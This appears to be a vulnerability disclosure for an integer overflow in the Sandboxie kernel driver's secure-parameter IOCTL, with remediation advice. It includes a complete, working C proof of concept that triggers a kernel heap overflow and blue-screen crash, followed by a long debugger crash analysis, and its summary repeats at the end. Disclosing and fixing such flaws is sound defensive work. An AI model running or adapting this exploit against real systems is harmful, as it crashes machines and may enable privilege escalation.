Summary
API_GET_SECURE_PARAM has an arithmetic overflow leading to a small memory allocation and then a extremely large copy into the small allocation.
Details
name_len = (wcslen(args->param_name.val) + 3 + 1) * sizeof(WCHAR);
name = Mem_Alloc(Driver_Pool, name_len);
wcscpy(name, args->param_name.val);
Because name_len is a ULONG, we can easily get this to wrap by allocating an extremely large name and passing it to the kernel. So we malloc 2147483648 wchar_t's, which is 2147483648 * 2 bytes. name_len then equals (2147483648 + 4) * 2, which wraps to a small value. We mem_alloc the small value, and then wcscpy the massive name into this small buffer.
Alternatively, we can just allocate a wchar_t* string larger than uint32_t max, name_len will truncate, and wcscpy will buffer overflow.
This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.
Recommend you check the length of the value first then abort if it isn't sane. Additionally name_len should be a size_t, which would make this effectively unexploitable on a 64-bit system.
API_SET_SECURE_PARAM has a similar pattern but I don't believe can overflow. However, checks should be added there as well.
PoC
Compile and execute.
With the PoC, you'll get a PAGE_FAULT_IN_NONPAGED_AREA BSOD.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>
#include <stdlib.h>
#define API_DEVICE_NAME L"\\Device\\SandboxieDriverApi"
#define API_SBIEDRV_CTLCODE 0x222007
#define API_GET_SECURE_PARAM 0x12340047L
#define API_NUM_ARGS 8
typedef struct _API_SECURE_PARAM_ARGS {
ULONG64 func_code;
struct { ULONG64 val; } param_name;
struct { ULONG64 val; } param_data;
struct { ULONG64 val; } param_size;
struct { ULONG64 val; } param_size_out;
struct { ULONG64 val; } param_verify;
} API_SECURE_PARAM_ARGS;
typedef NTSTATUS(NTAPI* PFN_NtOpenFile)(
PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
ULONG, ULONG);
typedef NTSTATUS(NTAPI* PFN_NtDeviceIoControlFile)(
HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK,
ULONG, PVOID, ULONG, PVOID, ULONG);
typedef VOID(WINAPI* PFN_RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
void hexdump(const void* data, size_t size) {
const unsigned char* p = (const unsigned char*)data;
for (size_t i = 0; i < size; i += 16) {
printf("%08zx ", i);
for (size_t j = 0; j < 16; ++j)
if (i + j < size) printf("%02x ", p[i + j]);
else printf(" ");
printf(" ");
for (size_t j = 0; j < 16; ++j)
if (i + j < size) {
unsigned char c = p[i + j];
printf("%c", (c >= 32 && c <= 126) ? c : '.');
}
printf("\n");
}
}
NTSTATUS ApiGetSecureParam(
PFN_NtDeviceIoControlFile NtDeviceIoControlFile,
HANDLE hDevice,
const WCHAR* param_name,
void* param_data,
ULONG param_size,
ULONG* param_size_out,
BOOLEAN param_verify
) {
ULONG64 parms[API_NUM_ARGS] = { 0 };
API_SECURE_PARAM_ARGS* args = (API_SECURE_PARAM_ARGS*)parms;
IO_STATUS_BLOCK ioStatus = { 0 };
args->func_code = API_GET_SECURE_PARAM;
args->param_name.val = (ULONG64)(ULONG_PTR)param_name;
args->param_data.val = (ULONG64)(ULONG_PTR)param_data;
args->param_size.val = (ULONG64)param_size;
args->param_size_out.val = (ULONG64)(ULONG_PTR)param_size_out;
args->param_verify.val = (ULONG64)param_verify;
return NtDeviceIoControlFile(
hDevice, NULL, NULL, NULL, &ioStatus,
API_SBIEDRV_CTLCODE, parms, sizeof(parms), NULL, 0);
}
int main(void) {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
printf("Failed to get ntdll handle\n");
return 1;
}
PFN_NtOpenFile NtOpenFile = (PFN_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
PFN_NtDeviceIoControlFile NtDeviceIoControlFile = (PFN_NtDeviceIoControlFile)GetProcAddress(ntdll, "NtDeviceIoControlFile");
PFN_RtlInitUnicodeString RtlInitUnicodeString = (PFN_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
if (!NtOpenFile || !NtDeviceIoControlFile || !RtlInitUnicodeString) {
printf("Failed to resolve NT native APIs\n");
return 1;
}
UNICODE_STRING uni;
RtlInitUnicodeString(&uni, API_DEVICE_NAME);
OBJECT_ATTRIBUTES objAttrs;
InitializeObjectAttributes(&objAttrs, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK ioStatus = { 0 };
HANDLE hDevice = NULL;
NTSTATUS status = NtOpenFile(
&hDevice,
FILE_GENERIC_READ | FILE_GENERIC_WRITE,
&objAttrs,
&ioStatus,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
0);
if (status != 0 || hDevice == NULL) {
printf("NtOpenFile failed: 0x%08X\n", status);
return 1;
}
// Ensure we trigger the overflow in name_len calculation:
// name_len = (wcslen(args->param_name.val) + 3 + 1) * sizeof(WCHAR);
WCHAR* name = (WCHAR*)malloc(2147483648 * sizeof(wchar_t));
if (name == NULL)
{
printf("Out of memory\n");
return 1;
}
wmemset(name, L'a', 2147483648);
// Query secure param
WCHAR* param_name = name;
BYTE param_data[64] = { 0 };
ULONG param_size = sizeof(param_data);
ULONG param_size_out = param_size;
BOOLEAN param_verify = FALSE;
status = ApiGetSecureParam(
NtDeviceIoControlFile, hDevice,
param_name, param_data, param_size, ¶m_size_out, param_verify);
if (status != 0) {
printf("ApiGetSecureParam failed: 0x%08X\n", status);
}
else {
printf("ApiGetSecureParam succeeded, param_size_out=%lu\n", param_size_out);
hexdump(param_data, param_size_out);
}
CloseHandle(hDevice);
return 0;
}
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa50d95912000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80351d02301, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000000, (reserved)
Debugging Details:
------------------
KEY_VALUES_STRING: 1
Key : AV.Type
Value: Write
Key : Analysis.CPU.mSec
Value: 953
Key : Analysis.Elapsed.mSec
Value: 1657
Key : Analysis.IO.Other.Mb
Value: 0
Key : Analysis.IO.Read.Mb
Value: 1
Key : Analysis.IO.Write.Mb
Value: 1
Key : Analysis.Init.CPU.mSec
Value: 296
Key : Analysis.Init.Elapsed.mSec
Value: 1394
Key : Analysis.Memory.CommitPeak.Mb
Value: 87
Key : Analysis.Version.DbgEng
Value: 10.0.27793.1000
Key : Analysis.Version.Description
Value: 10.2410.02.02 amd64fre
Key : Analysis.Version.Ext
Value: 1.2410.2.2
Key : Bugcheck.Code.LegacyAPI
Value: 0x50
Key : Bugcheck.Code.TargetModel
Value: 0x50
Key : Failure.Bucket
Value: AV_W_(null)_SbieDrv!unknown_function
Key : Failure.Exception.IP.Address
Value: 0xfffff80351d02301
Key : Failure.Exception.IP.Module
Value: SbieDrv
Key : Failure.Exception.IP.Offset
Value: 0x2301
Key : Failure.Hash
Value: {6a05f8ab-adb3-1ad6-17b9-82d286bd4f5b}
Key : Hypervisor.Enlightenments.ValueHex
Value: 0x6090ebf4
Key : Hypervisor.Flags.AnyHypervisorPresent
Value: 1
Key : Hypervisor.Flags.ApicEnlightened
Value: 1
Key : Hypervisor.Flags.ApicVirtualizationAvailable
Value: 0
Key : Hypervisor.Flags.AsyncMemoryHint
Value: 0
Key : Hypervisor.Flags.CoreSchedulerRequested
Value: 0
Key : Hypervisor.Flags.CpuManager
Value: 0
Key : Hypervisor.Flags.DeprecateAutoEoi
Value: 0
Key : Hypervisor.Flags.DynamicCpuDisabled
Value: 1
Key : Hypervisor.Flags.Epf
Value: 0
Key : Hypervisor.Flags.ExtendedProcessorMasks
Value: 1
Key : Hypervisor.Flags.HardwareMbecAvailable
Value: 1
Key : Hypervisor.Flags.MaxBankNumber
Value: 0
Key : Hypervisor.Flags.MemoryZeroingControl
Value: 0
Key : Hypervisor.Flags.NoExtendedRangeFlush
Value: 0
Key : Hypervisor.Flags.NoNonArchCoreSharing
Value: 0
Key : Hypervisor.Flags.Phase0InitDone
Value: 1
Key : Hypervisor.Flags.PowerSchedulerQos
Value: 0
Key : Hypervisor.Flags.RootScheduler
Value: 0
Key : Hypervisor.Flags.SynicAvailable
Value: 1
Key : Hypervisor.Flags.UseQpcBias
Value: 0
Key : Hypervisor.Flags.Value
Value: 659693
Key : Hypervisor.Flags.ValueHex
Value: 0xa10ed
Key : Hypervisor.Flags.VpAssistPage
Value: 1
Key : Hypervisor.Flags.VsmAvailable
Value: 1
Key : Hypervisor.RootFlags.AccessStats
Value: 0
Key : Hypervisor.RootFlags.CrashdumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.CreateVirtualProcessor
Value: 0
Key : Hypervisor.RootFlags.DisableHyperthreading
Value: 0
Key : Hypervisor.RootFlags.HostTimelineSync
Value: 0
Key : Hypervisor.RootFlags.HypervisorDebuggingEnabled
Value: 0
Key : Hypervisor.RootFlags.IsHyperV
Value: 0
Key : Hypervisor.RootFlags.LivedumpEnlightened
Value: 0
Key : Hypervisor.RootFlags.MapDeviceInterrupt
Value: 0
Key : Hypervisor.RootFlags.MceEnlightened
Value: 0
Key : Hypervisor.RootFlags.Nested
Value: 0
Key : Hypervisor.RootFlags.StartLogicalProcessor
Value: 0
Key : Hypervisor.RootFlags.Value
Value: 0
Key : Hypervisor.RootFlags.ValueHex
Value: 0x0
Key : WER.OS.Branch
Value: ge_release
Key : WER.OS.Version
Value: 10.0.26100.1
BUGCHECK_CODE: 50
BUGCHECK_P1: ffffa50d95912000
BUGCHECK_P2: 2
BUGCHECK_P3: fffff80351d02301
BUGCHECK_P4: 0
FILE_IN_CAB: 041725-2437-01.dmp
VIRTUAL_MACHINE: HyperV
FAULTING_THREAD: ffffe00552e72080
READ_ADDRESS: fffff803bc1c34c0: Unable to get MiVisibleState
Unable to get NonPagedPoolStart
Unable to get NonPagedPoolEnd
Unable to get PagedPoolStart
Unable to get PagedPoolEnd
unable to get nt!MmSpecialPagesInUse
ffffa50d95912000
MM_INTERNAL_CODE: 0
IMAGE_NAME: SbieDrv.sys
MODULE_NAME: SbieDrv
FAULTING_MODULE: fffff80351d00000 SbieDrv
BLACKBOXBSD: 1 (!blackboxbsd)
BLACKBOXNTFS: 1 (!blackboxntfs)
BLACKBOXPNP: 1 (!blackboxpnp)
BLACKBOXWINLOGON: 1
CUSTOMER_CRASH_COUNT: 1
PROCESS_NAME: SandboxieVulns.exe
TRAP_FRAME: fffff4057b82ee10 -- (.trap 0xfffff4057b82ee10)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000061 rbx=0000000000000000 rcx=0000020babc62ff0
rdx=ffffa50d95912000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80351d02301 rsp=fffff4057b82efa0 rbp=fffff4057b82f4e0
r8=ffffe00552e72080 r9=ffffa50d958ff030 r10=0000000000000001
r11=fffff4057b82ef18 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
SbieDrv+0x2301:
fffff803`51d02301 668902 mov word ptr [rdx],ax ds:ffffa50d`95912000=????
Resetting default scope
STACK_TEXT:
fffff405`7b82eba8 fffff803`bb8a54a8 : 00000000`00000050 ffffa50d`95912000 00000000`00000002 fffff405`7b82ee10 : nt!KeBugCheckEx
fffff405`7b82ebb0 fffff803`bb4913cf : ffffa50d`95912000 00000000`00001000 00000000`00000002 fffff803`bb200000 : nt!MiSystemFault+0x43288c
fffff405`7b82eca0 fffff803`bb88aacb : ffffe005`54652410 fffff405`7b82ee90 00000009`9df4bd75 000011a7`ff53d4ce : nt!MmAccessFault+0x2ff
fffff405`7b82ee10 fffff803`51d02301 : 00000000`00000898 fffff405`7b82f330 00000000`00000000 ffffe005`5463b0f0 : nt!KiPageFault+0x38b
fffff405`7b82efa0 00000000`00000898 : fffff405`7b82f330 00000000`00000000 ffffe005`5463b0f0 00000008`00000001 : SbieDrv+0x2301
fffff405`7b82efa8 fffff405`7b82f330 : 00000000`00000000 ffffe005`5463b0f0 00000008`00000001 ffffa50d`958ff050 : 0x898
fffff405`7b82efb0 00000000`00000000 : ffffe005`5463b0f0 00000008`00000001 ffffa50d`958ff050 fffff803`51d35ba0 : 0xfffff405`7b82f330
SYMBOL_NAME: SbieDrv+2301
STACK_COMMAND: .process /r /p 0xffffe00554217080; .thread 0xffffe00552e72080 ; kb
BUCKET_ID_FUNC_OFFSET: 2301
FAILURE_BUCKET_ID: AV_W_(null)_SbieDrv!unknown_function
OS_VERSION: 10.0.26100.1
BUILDLAB_STR: ge_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {6a05f8ab-adb3-1ad6-17b9-82d286bd4f5b}
Followup: MachineOwner
---------
Impact
Worst case, ACE. Unclear if this is exploitable.
Summary
API_GET_SECURE_PARAM has an arithmetic overflow leading to a small memory allocation and then a extremely large copy into the small allocation.
Details
Because name_len is a ULONG, we can easily get this to wrap by allocating an extremely large name and passing it to the kernel. So we malloc 2147483648 wchar_t's, which is 2147483648 * 2 bytes. name_len then equals (2147483648 + 4) * 2, which wraps to a small value. We mem_alloc the small value, and then wcscpy the massive name into this small buffer.
Alternatively, we can just allocate a wchar_t* string larger than uint32_t max, name_len will truncate, and wcscpy will buffer overflow.
This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.
Recommend you check the length of the value first then abort if it isn't sane. Additionally name_len should be a size_t, which would make this effectively unexploitable on a 64-bit system.
API_SET_SECURE_PARAM has a similar pattern but I don't believe can overflow. However, checks should be added there as well.
PoC
Compile and execute.
With the PoC, you'll get a PAGE_FAULT_IN_NONPAGED_AREA BSOD.
Impact
Worst case, ACE. Unclear if this is exploitable.